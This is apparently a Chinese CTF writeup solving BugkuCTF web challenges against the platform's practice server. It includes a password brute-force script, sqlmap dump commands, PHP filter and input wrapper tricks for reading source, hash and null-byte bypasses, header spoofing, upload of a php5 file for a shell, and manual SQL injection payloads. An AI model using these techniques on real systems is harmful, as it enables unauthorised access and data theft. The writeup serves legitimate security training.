BugkuCTF——最新web篇writeup(持续更新)

文章目录

      • web2
      • 计算器
      • web基础$_GET
      • web基础$_POST
      • 矛盾
          • 代码审计
      • web3
      • 域名解析
          • 修改host文件
      • 你必须让他停下
          • 抓包
      • 变量1
          • 代码审计
      • web5
          • 控制台解码
      • 头等舱
          • 抓包
      • 网站被黑
          • 目录扫描
          • 弱口令
      • 管理员系统
          • 抓包改包
      • web4
          • 代码审计
      • flag在index里
          • PHP伪协议
      • 输入密码查看flag
          • Python编写exp
      • 备份是个好习惯
          • 目录扫描
          • 代码审计
          • md5碰撞
      • 成绩单
          • Sqlmap进行POST注入
      • 秋名山车神
          • Python编写exp
      • 速度要快
          • 抓包
          • Python编写exp
      • Cookie欺骗
          • 文件包含
          • Python编写exp
          • 代码审计
      • never give up
          • PHP伪协议
          • PHP弱类型比较
          • eregi()截断漏洞
          • 获取flag
      • 字符?正则?
          • 正则匹配
      • 你从哪里来
          • 抓包改referer头
      • md5 collision(NUPT_CTF)
          • md5碰撞
      • 程序员本地网站
          • 抓包
      • 各种绕过
          • 代码审计
      • web8
          • 代码审计
          • PHP伪协议
      • 细心
          • 目录扫描
      • 求getshell
          • 文件上传
      • 这是一个神奇的登陆框
          • 手工注入
          • Python编写exp
          • Xpath报错注入
          • 继续Python编写exp
      • PHP_encrypt_1(ISCCCTF)
          • 代码审计
          • 同余加密解密
          • Python编写exp
      • flag.php
          • 代码审计
      • sql注入2
          • DS_Store源码泄露
          • Python编写exp
      • 孙xx的博客
      • Trim的日记本
          • 目录扫描

web2

打开页面后F12查看源代码即可。

BugkuCTF——最新web篇writeup(持续更新)_第1张图片

flag:KEY{Web-2-bugKssNNikls9100}

计算器

这里做了输入长度限制,F12选中输入框,修改长度限制即可。
BugkuCTF——最新web篇writeup(持续更新)_第2张图片
flag:flag{CTF-bugku-0032}

web基础$_GET

这里要理解超全局变量$_GET,只要我们传递的参数为what,并且内容为flag,即可输出flag。
BugkuCTF——最新web篇writeup(持续更新)_第3张图片

flag:flag{bugku_get_su8kej2en}

web基础$_POST

这里跟上面一样,不过要借助插件hackerbar进行一个POST传输。

BugkuCTF——最新web篇writeup(持续更新)_第4张图片flag:flag{bugku_get_ssseint67se}

矛盾

代码审计

这里题目要求num为1却不能是数字,这就很矛盾了,我们传一个以1开头,不能以数字结尾的字符串就行了。
BugkuCTF——最新web篇writeup(持续更新)_第5张图片flag:flag{bugku-789-ps-ssdf}

web3

这道题跟web2有异曲同工之妙,都是F12查看源代码找到线索,唯一不同就是web3进行了一次Unicode编码,解码即可获得flag。
BugkuCTF——最新web篇writeup(持续更新)_第6张图片

域名解析

修改host文件

这个很简单,修改hosts文件即可。
BugkuCTF——最新web篇writeup(持续更新)_第7张图片

hosts文件在C:\Windows\System32\drivers\etc下,修改后访问flag.baidu.com即可得到flag
BugkuCTF——最新web篇writeup(持续更新)_第8张图片
flag:KEY{DSAHDSJ82HDS2211}

你必须让他停下

抓包

访问页面后它会无限刷新,我们挂一个Burp抓抓包就好了,会出现一个10.jpg的页面,这个页面的长度跟其他页面长度不同,flag就在里边。
BugkuCTF——最新web篇writeup(持续更新)_第9张图片

变量1

代码审计

这考察了超全局变量的运用,先来分析一下代码:


error_reporting(0);				// 关闭报错
include "flag1.php";			// 包含flag1.php文件
highlight_file(__file__);		// 高亮显示文件内容
if(isset($_GET['args'])){
     		// 判断GET接收的参数是不是args
    $args = $_GET['args'];		// 把ages的值赋给$args
    if(!preg_match("/^\w+$/",$args)){
     	//添加正则匹配,只允许至少一个的任意数字字母,与$args进行匹配
        die("args error!");		//	如果匹配不上就输出args error
    }
    eval("var_dump($$args);");	//	把内容当作PHP代码执行,$$args相当于$($args)
}
?>

这里一开始想到的是用eval执行一个file()函数,来进行文件包含,但是这里对用户的输入进行了正则过滤,所以考虑到用GLOBAS[]输出所有的全局变量
BugkuCTF——最新web篇writeup(持续更新)_第10张图片

flag:flag{92853051ab894a64f7865cf3c2128b34}

web5

控制台解码

首先F12查看源代码,发现有一串被处理的字符串
BugkuCTF——最新web篇writeup(持续更新)_第11张图片

直接粘贴到控制台中,得到flag
BugkuCTF——最新web篇writeup(持续更新)_第12张图片
flag:ctf{whatfk}

头等舱

这道题确实跟它的描述一样,什么也没有。。。
BugkuCTF——最新web篇writeup(持续更新)_第13张图片

抓包

这时候只能抓包看一下,或者扫扫目录什么的,抓包发包的时候发现了flag
BugkuCTF——最新web篇writeup(持续更新)_第14张图片
flag:flag{Bugku_k8_23s_istra}

网站被黑

目录扫描

打开后是一个黑页。根据题意,实战中经常遇到,一般就是有大马这种,既然是实战,那就先扫扫目录
BugkuCTF——最新web篇writeup(持续更新)_第15张图片

弱口令

访问后发现需要密码,试了试一些常规的shell弱口令得到flag,密码为hack:
BugkuCTF——最新web篇writeup(持续更新)_第16张图片
**flag:flag{hack_bug_ku035} **

管理员系统

首先F12查看源代码,一定要看完,在最后一行有一段base64加密的字符串
BugkuCTF——最新web篇writeup(持续更新)_第17张图片

解密后是test123,应该就是密码了
BugkuCTF——最新web篇writeup(持续更新)_第18张图片
但是当我们去登录的时候,登陆页面对IP进行了限制,只允许本地访问,那我们抓个包,加一下X-Forwarded-For: 127.0.0.1来绕过一下把:
BugkuCTF——最新web篇writeup(持续更新)_第19张图片

抓包改包

得到flag,这里确实是MD5加密了,但是flag就是这串密文:
BugkuCTF——最新web篇writeup(持续更新)_第20张图片
flag:flag{85ff2ee4171396724bae20c0bd851f6b}

web4

代码审计

访问后看一下源码,发现了这一串东西:

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

放在Hackbar里解码后大概是这个样子:

function checkSubmit()
{
     
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
     
        if("67d709b2b;54aa2aa648cf6e87a7114f1"==a.value){
     
            return!0;
        alert("Error");
        a.focus();
        return!1;
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
eval(unescape(p1) + unescape(\'%35%34%61%61%32\' + p2));  

重点是那串判断中被加密的条件67d709b2b;54aa2aa648cf6e87a7114f1,提交得到flag:
BugkuCTF——最新web篇writeup(持续更新)_第21张图片

flag:KEY{J22JK-HS11}

flag在index里

PHP伪协议

这里涉及到通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码,题目也说了flag在index里,如果我们直接包含index.php,程序是会把它执行的,并不会输出源码,但是我们如果利用LFI漏洞来读取index,是会读到一串加密的字符串的:

在这里插入图片描述

base64解码后得到flag:

<html>
    <title>Bugku-ctf</title>
    

	error_reporting(0);
	if(!$_GET[file]){
     echo 'click me? no';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
     
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

flag:flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

看题目地址,提示爆破,且密码长度为5位数,用Python写个脚本就行了:
BugkuCTF——最新web篇writeup(持续更新)_第22张图片

Python编写exp
#!/usr/bin/env python
# coding:utf-8


import requests
import re


def dic():
    # 从0到9999开始遍历输出
    for i in range(0, 99999):
        # 如果i的长度小于5
        if len(str(i)) < 5:
            # 前面用0补全,最多5位,追加到value中
            value.append('0'*(5-len(str(i)))+str(i))
        else:
            # 追加到value中
            value.append(str(i))

def get_flag():
    print '开始爆破,请稍等...'
    # 遍历value中的值赋给j
    for j in value:
        data = {
     'pwd':j}
        print '尝试密码:',j
        # post数据
        req = requests.post(url,data)
        req.encoding='utf-8'
        # 获取返回页面的信息
        html2 = req.text
        # 与模板进行对比,如果返回的信息不一致则进行正则匹配,直接打印出flag
        if html2 != html1:
            flag = re.findall(r'flag.+', html1)
            print flag[0]
            break

if __name__=='__main__':
    # 定义URL,和一个接收密码的字典
    url = 'http://123.206.87.240:8002/baopo/?yes'
    value = []

    # 定义一个对比模板
    data = {
     'pwd': '00000'}
    req = requests.post(url, data=data)
    req.encoding = 'utf-8'
    html1 = req.text
	
	# 开怼
    dic()
    get_flag()

有时间的去跑一跑,太耽误事儿了,密码:13579

flag:flag{bugku-baopo-hah}

备份是个好习惯

目录扫描

题目都说了,那咱们就拿出御剑来,专门扫一下.bak这种的备份文件吧
BugkuCTF——最新web篇writeup(持续更新)_第23张图片

代码审计

下载后打开,是一道代码审计题,这是它的源码:


/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
     
    echo $flag."取得flag";
}
?>

我们一段一段来分析,首先分析它对url参数过滤的代码:


# 包含本地文件flag.php
include_once "flag.php";
# 取消报错
ini_set("display_errors", 0);
# strstr是查找字符串的首次出现,这里捕获的是当前url?后的所有字符串,捕获之后返回给str
$str = strstr($_SERVER['REQUEST_URI'], '?');
# substr是取字符串中的子串,这个可以理解为str变成了一个列表,里所有的字符串变成了单一的元素;
# 从0开始计数,这里1的意思是,从1开始取出后面所有的元素拼接成一个新的字符串重新赋值给str
$str = substr($str,1);
# str_replace的作用是替换,这里将str中的'key'替换为''
$str = str_replace('key','',$str);
# 把str解析成变量,这里也就是解析key1跟key2
parse_str($str);

为了方便理解,我在本地改了一下代码,让它输出一下:

ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
echo $str.'

'
; $str = substr($str,1); echo $str.'

'
; $str = str_replace('key','',$str); echo $str.'

'
; parse_str($str); echo md5($key1).'

'
; echo md5($key2);

访问一下,你可能会发现这俩MD5是一样的,但我们传的值是不一样的,这是因为我们的key被过滤了,这里md5()相当于加密了个空气:
BugkuCTF——最新web篇writeup(持续更新)_第24张图片

md5碰撞

接着分析剩下的代码:

# 这里接上面的取值加密
echo md5($key1);
echo md5($key2);
# 这里要求md5加密的值一样且未加密的值不同,就输出flag.
if(md5($key1) == md5($key2) && $key1 !== $key2)
{
     
    echo $flag."取得flag";
}

这个md5()函数,处理不了传入的数组,所以我们构造url的时候在key后加[]=xx,又经过parse_str()的处理,所以就变成了:

$kekeyy1[]=xxx&$kekeyy2[]=axxs

这样一来就符合条件了:

exp:http://123.206.87.240:8002/web16/index.php?kkeyey1[]=0e1&kkeyey2[]=xxx

还有一种绕过方法,就是利用==比较漏洞,在php中,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

构造payload:

http://123.206.87.240:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s155964671a

flag:Bugku{OH_YOU_FIND_MY_MOMY}

成绩单

Sqlmap进行POST注入

这一道题就是一个简单的POST注入,用burp抓个包,丢sqlmap里跑就行了
BugkuCTF——最新web篇writeup(持续更新)_第25张图片
跑一下:

Sqlmap -r C:\Users\Administrator\Desktop\1.txt

BugkuCTF——最新web篇writeup(持续更新)_第26张图片
我这里直接跑flag了:

Sqlmap -r C:\Users\Administrator\Desktop\1.txt -p id --dump -C "skctf_flag" -T "fl4g" -D "skctf_flag"

BugkuCTF——最新web篇writeup(持续更新)_第27张图片

flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山车神

这个我一开始的思路是抓包POST数据,然并卵,所以还是写个脚本来跑吧,Python大法好啊:
在这里插入图片描述

Python编写exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2020/11/12 20:12
# @Author  : Shadow
# @Site    : 
# @File    : Bugku_QiuMingShan.py
# @Software: PyCharm

import requests
import re

local = requests.Session()
url = 'http://123.206.87.240:8002/qiumingshan/'
req = local.get(url).text
html = re.findall(r'
(.*?)=\?;
'
,req) data = { "value":eval(html[0])} while 1: try: value = local.post(url, data=data).text flag = re.findall(r' Bugku.*',value) print 'flag:{}'.format(flag[0]) break except IndexError: pass

flag: Bugku{YOU_DID_IT_BY_SECOND}

速度要快

抓包

这个思路也是先抓个包,看一下返回包里的数据:
BugkuCTF——最新web篇writeup(持续更新)_第28张图片
他要求我们把看到的POST一下,我们先把flag中的内容解码:

flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTkRZNE5USTQ=

啊这。。。看来我草率了
BugkuCTF——最新web篇writeup(持续更新)_第29张图片

Python编写exp

这题目很有意思,每次访问flag都会变,所以最好的办法就是用Python写个脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2020/11/12 21:23
# @Author  : Shadow
# @Site    : 
# @File    : Bugku_Go_Fast.py
# @Software: PyCharm
import requests
import base64

url = "http://123.206.87.240:8002/web6/"
local = requests.session()
# 以字典形式获取respond头
headers = local.get(url).headers
# 解码flag
flag = base64.b64decode(headers['flag'])
flag = flag.split(" ")[1]
# 获取二次加密后的flag
new_flag = base64.b64decode(flag)
# 定义data准备post
data = {
     'margin': new_flag}
# 获取真·flag
print local.post(url,data=data).text

flag:KEY{111dd62fcd377076be18a}

Cookie欺骗

访问题目,发现url最后是一个base64编码,解码一下:

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

BugkuCTF——最新web篇writeup(持续更新)_第30张图片

文件包含

尝试文件包含index.php结果啥也没有,在参数line中加入数字,成功包含出一行代码:

http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw

BugkuCTF——最新web篇writeup(持续更新)_第31张图片

Python编写exp

用python写一个脚本进行遍历输出,就3行,Python大法好:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2020/11/12 23:27
# @Author  : Shadow
# @Site    : 
# @File    : Bugku_Cookie欺骗.py
# @Software: PyCharm

import requests
for i in range(30):
    print requests.get('http://123.206.87.240:8002/web11/index.php?line=%d'%i+'&filename=aW5kZXgucGhw').text
代码审计

这是遍历出来的源码,我都已经详细的分析,并加了备注:


# 关闭报错
error_reporting(0);
# 判断url是否传值,并把传过来的值通过base64解码赋值给file
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
# 判断是否传值,是就取整,不是就设置默认为零
$line=isset($_GET['line'])?intval($_GET['line']):0;
# 若filename没有值,那么就跳转到index.php?line=&filename=a2V5cy50eHQ=
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
# 定义一个关联数组
$file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
);
# 若cookie等于margin且cookie值也等于margin
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
     
    # 那么往file_list数组中追加key.php
    # a2V5cy5waHA=
    $file_list[2]='keys.php';
}
# 如果解码后的file存在于file_list中
if(in_array($file, $file_list)){
     
    # 那么就把$file的值传到$fa中
    $fa = file($file);
    # 输出数组$fa的第$line行
    echo $fa[$line];
}
?>

这里说一下得到flag的条件:

1. Cookie的name与value必须为margin
2. filename的值必须是经过base64编码的,且值必须是key.php的base64编码

exp:http://123.206.87.240:8002/web11/index.php?line=0&filename=a2V5cy5waHA=

一定要先添加cokie,我这里用的Cookie Editor:
BugkuCTF——最新web篇writeup(持续更新)_第32张图片

flag:KEY{key_keys}

never give up

访问题目后先查看源代码,发现一个线索:
在这里插入图片描述

访问1p.html后跳转到了bugku的论坛,那我们就用view-source来看它的源码:

view-source:http://123.206.87.240:8006/test/1p.html

BugkuCTF——最新web篇writeup(持续更新)_第33张图片我粘出来:

"%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--
JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ
%3D%3D--%3E" 

url加base64解码:

<script>window.location.href='http://www.bugku.com';</script> 
<!--
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
-->

再次url解码:

<script>window.location.href='http://www.bugku.com';</script> 
<!--
";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>
-->

这里有两种方法可以拿到flag,第一种就是代码审计,先来审计吧

<meta charset="utf8">

# 如果没有GET到id,直接跳转到hello.php?id=1
if(!$_GET['id'])
{
     
    header('Location: hello.php?id=1');
    exit();
}
# 定义三个接收参数的变量
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
# 如果a中含有字符.输出no no no
if(stripos($a,'.'))
{
     
    echo 'no no no no no no no';
    return ;
}
# 把读取文件的内容赋值给data
$data = @file_get_contents($a,'r');
# 条件一:data弱等于bugku is a nice plateform!
# 条件二:id若等于0
# 条件三:b的长度要大于5
# 条件四:字符串111加$b的第一个字符要与字符串1114匹配
# 条件五:$b的第一个字符串不可以是4
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
     
    require("f4l2a3g.txt");
}
else
{
     
    print "never never never give up !!!";
}
?>

主要是上文中的五个条件,我们一个一个来实现

PHP伪协议

条件一:$data弱等于字符串bugku is a nice plateform!

而$data是由函数file_get_contents()读取 a 的 内 容 来 赋 值 的 , 所 以 a的内容来赋值的,所以 aa就必须是数据流,要从a这里进行数据的传输,然后赋值给data,这样一来就用到php://input这个伪协议,并且使用的时候提交数据bugku is a nice plateform!就行了。

BugkuCTF——最新web篇writeup(持续更新)_第34张图片
这样一来条件一就出来了

a=php://input
# 且附加数据bugku is a nice plateform!
PHP弱类型比较

条件二:id非空非零且弱等于整型数 0
BugkuCTF——最新web篇writeup(持续更新)_第35张图片
根据上图比较, 我写了一段验证代码:


$a = $_GET['id'];
if ($a == 0 and $a!=0)
{
     
    echo 'Yes'."
"
; var_dump($a); }else { echo 'No'."
"
; var_dump($a); }

按理说我们验证id=0也是可以正常输出的,但是在本题中就是不可以,真是搞不懂为什么,那我们就用非零非数字的参数吧:

id=a
eregi()截断漏洞

ereg() 函数或 eregi() 函数是存在空字符截断漏洞的:即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据,为了方便理解,我把代码拿出来做了测试:


error_reporting(0);
$b = $_GET['b'];
var_dump(eregi("111".substr($b,0,1),"1114"));

错误:

BugkuCTF——最新web篇writeup(持续更新)_第36张图片

正确:

BugkuCTF——最新web篇writeup(持续更新)_第37张图片
当我们截断后,后面跟什么他都会匹配上:

BugkuCTF——最新web篇writeup(持续更新)_第38张图片
再来看一下条件三四五:

条件三:b的长度要大于5

条件四:字符串111加$b的第一个字符要与字符串1114匹配

条件五:$b的第一个字符串不可以是4

这样一来变量b的参数我们就构造出来了:

b=%00qaz123
获取flag

抓个包,把构造好的参数拼接起来发包即可:
BugkuCTF——最新web篇writeup(持续更新)_第39张图片
flag:flag{tHis_iS_THe_fLaG}

第二个方法就是直接访问源码中的f4l2a3g.txt,这样最简单,也最没意思。

字符?正则?

正则匹配

这道题涉及到正则表达式,现在编程的正则都几乎相通,我这篇文章写的是Python的正则,在这道题中一样可以用的,正则表达式详细教程。

首先我们来分析一下源码,因为我PHP也没有学正则,刚上来也是一脸懵逼,不过运行了几次之后就明白它的匹配规则了:


# 高亮显示2.php的内容
highlight_file('2.php');
# 定义变量key
$key='KEY{********************************}';
# preg_match()正则匹配,trim()去除首尾的特殊转移字符跟空白字符,把结果返回给IM
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
# 如果符合IM为1则输出key
if( $IM ){
     
    die('key is: '.$key);
}
?> 

这里就不再对正则作过多的介绍,不懂的去看一下我那篇文章吧~重点就在这段代码中:

/key.*key.{
     4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

首先它的格式是这样的,i代表不区分大小写:

/正则匹配规则/i

key 就是匹配 字符串key 没别的意思
. 代表任意一个字符
* 代表前一个字符可以匹配0次或多次

{4,7} 代表前一个字符最少匹配4次,最多匹配7次
: 就是 字符串: 没别的意思
\/.\/ 其实就是 /./ 它加上\是为了防止转义,/ 就是 字符串/ 没别的意思
(.*key) 就是匹配0个或多个key前面的字符
[a-z] 匹配任意一个英文字母
[[:punct:]] 匹配任意一个特殊字符

如果你还是看不明白,就去学习一下正则吧,自己动手做做!

payload:?id=keykeyaaaakey:/a/keya`

BugkuCTF——最新web篇writeup(持续更新)_第40张图片
flag:KEY{0x0SIOPh550afc}

你从哪里来

抓包改referer头

这道题我寻思了半天,一点提示都没有,没办法我就去网上搜了一下,原来是加一个referer头…真是有CTF内味儿了

抓个包先
BugkuCTF——最新web篇writeup(持续更新)_第41张图片
然后在他的herders选项中添加referer:https://www.google.com即可:

BugkuCTF——最新web篇writeup(持续更新)_第42张图片
flag:flag{bug-ku_ai_admin}

md5 collision(NUPT_CTF)

md5碰撞

这道题的思路就是题目名字,md5碰撞,这道题钱前面其实做过一次了,就是那道备份是个好习惯,我们只需要传一个经过加密后以0e开头的字符串过去就i行了:

exp:http://123.206.87.240:9009/md5.php?a=s1885207154a

flag:flag{md5_collision_is_easy}

程序员本地网站

抓包

这个很简单,题目要求从本地访问,我们抓包加一个x-forwarded-for头为127.0.0.1即可:
BugkuCTF——最新web篇writeup(持续更新)_第43张图片
flag:flag{loc-al-h-o-st1}

各种绕过

代码审计

上来就给了一段代码,那我们就审计一下吧:


# 高亮显示flag.php的文件内容
highlight_file('flag.php');
# url解码所获取的id内容
$_GET['id'] = urldecode($_GET['id']);
# 定义变量flag
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
# 如果没有GETuname和POSTpasswd
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
     
    # 如果GET的uname弱等于POST的passwd
    if ($_GET['uname'] == $_POST['passwd'])
        # 输出passwd can not be uname.
        print 'passwd can not be uname.';
    # 或者经过sha1加密的uname全等于sha1加密的passwd,并且id弱等于字符串margin
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
        # 退出程序并打印flag
        die('Flag: '.$flag);
    # 否则输出sorry!
    else
        print 'sorry!';
}
?> 

突破点就在这一行:

# 或者经过sha1加密的uname全等于sha1加密的passwd,并且id弱等于字符串margin
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

注意三点:

1. GET的uname与POST的passwd值不能相等。
2. 经过SHA1加密的uname与passwd必须全等于。
3. GET的id必须等于margin

第二条我们只需要传递数组就行了,数组经过处理后的哈希值是一样的,所以exp就出来了:

POST http://123.206.87.240:8002/web7/?uname[]=a&id=margin
passwd[]=1

BugkuCTF——最新web篇writeup(持续更新)_第44张图片

flag:flag{HACK_45hhs_213sDD}

web8

代码审计

先来审计下代码:


# 从数组中将变量导入到当前的符号表
extract($_GET);
# 判断变量ac是否为空
if (!empty($ac))
{
     
    # 变量f等于fn,这里的fn一定是一个储存文件的变量
    $f = trim(file_get_contents($fn));
    # 如果ac全等于f,也就是我们传递的ac的值全等于$fn文件里的内容
    if ($ac === $f)
    {
     
        # 输出flag
        echo "

This is flag:" ." $flag

"
; } # 否则输出sorry! else { echo "

sorry!

"
; } } ?>

这里注意四点:

  1. ac的值不能为空。
  2. f的值是从fn中获取的。
  3. ac要全等于f
  4. 题目提示.txt

方法一:
在这里插入图片描述

根据提示访问flag.txt,得到字符串flags:
BugkuCTF——最新web篇writeup(持续更新)_第45张图片

既然 f 的值是从fn中读取的,且ac全等于fn就输出flag,那么exp就出来了:

http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt

方法二:

PHP伪协议

其实这道题的突破点就在 $fn 上,我们可以用php://input进行一个数据流传输,来定义fn的值,然后ac与定义的值一样就行了:
BugkuCTF——最新web篇writeup(持续更新)_第46张图片

flag: flag{3cfb7a90fc0de31}

细心

目录扫描

上来啥也没有,直接去扫一下目录吧
BugkuCTF——最新web篇writeup(持续更新)_第47张图片
robots.txt里给出了真正的页面:
BugkuCTF——最新web篇writeup(持续更新)_第48张图片

访问一下,得到了一段源码:
BugkuCTF——最新web篇writeup(持续更新)_第49张图片

题目是想办法成为管理员,这里x用一些弱口令来试一下就行了:

exp:http://123.206.87.240:8002/web13/resusl.php?x=admin

BugkuCTF——最新web篇writeup(持续更新)_第50张图片

flag:flag(ctf_0098_lkji-s)

求getshell

文件上传

BugkuCTF——最新web篇writeup(持续更新)_第51张图片

抓包后修改一下Content-Type与后缀名,这里后缀名经过多次测试,只有php5可以执行,其余的也可以上传,但是拿不到flag,这里看似是一个黑名单,实则它就是做了一个白名单限制,只有php5这个后缀的文件才能出flag。

BugkuCTF——最新web篇writeup(持续更新)_第52张图片

flag:KEY{bb35dc123820e}

这是一个神奇的登陆框

手工注入

报错

http://123.206.87.240:9004/1ndex.php?id=1%27

BugkuCTF——最新web篇writeup(持续更新)_第53张图片
加注释后返回正常

http://123.206.87.240:9004/1ndex.php?id=1%27%23

BugkuCTF——最新web篇writeup(持续更新)_第54张图片
可以判断出这是有注入的,接下来检查以下字段长度,他这里过滤了or,我们双写绕过:

http://123.206.87.240:9004/1ndex.php?id=1%27oorrder%20by%203%23

这里用异或判断一下它过滤了那些关键字:

http://123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)%23

如果页面返回正常说明union被过滤了,它过滤了or、union、select、and,这些我们都双写就行了.

Python编写exp

